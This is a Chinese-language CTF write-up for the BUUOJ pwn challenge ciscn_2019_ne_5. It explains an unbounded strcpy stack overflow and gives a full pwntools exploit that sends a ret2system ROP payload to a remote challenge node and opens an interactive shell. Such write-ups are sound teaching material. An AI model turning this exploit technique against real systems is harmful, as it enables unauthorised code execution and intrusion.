先让我们输入s1,如果不是'administrator'程序将退出。
然后输入1会让我们输入src(限制读入128个字符)
输入2会展示我们输入的src,输入3有个system
输入4会将src拷贝到dest里面,注意到strcpy没有限制,而dest离ebp为0x48,而src最多可以输入128.所以我们可以利用这个进行栈溢出
先输入'administrator'防止程序退出
io.sendlineafter('password',b'administrator')
再在循环里面输入1,进到输入src里面,去构造我们的rop链
io.sendlineafter('Exit\n:',b'1')
payload=cyclic(0x48+4)+p32(system)+p32(main)+p32(sh)
p32(main)是填充,记得是四个字节的,b'aaaa'也是可以的,但好像p32(0)我这里不可以(・∀・(・∀・(・∀・*)
找了一下binsh没有,但有sh
ROPgadget --binary ciscn_2019_ne_5 --string "sh"
然后记得在循环的时候再输入4
exp
from pwn import *
context(os='linux', arch='amd64')
context.log_level='debug'
io = remote('node5.buuoj.cn',26038)
sh=0x080482ea
system=0x080484D0
io.sendlineafter('password',b'administrator')
io.sendlineafter('Exit\n:',b'1')
payload=cyclic(0x48+4)+p32(system)+b'aaaa'+p32(sh)
io.sendlineafter('info:',payload)
io.sendlineafter('Exit\n:',b'4')
io.interactive()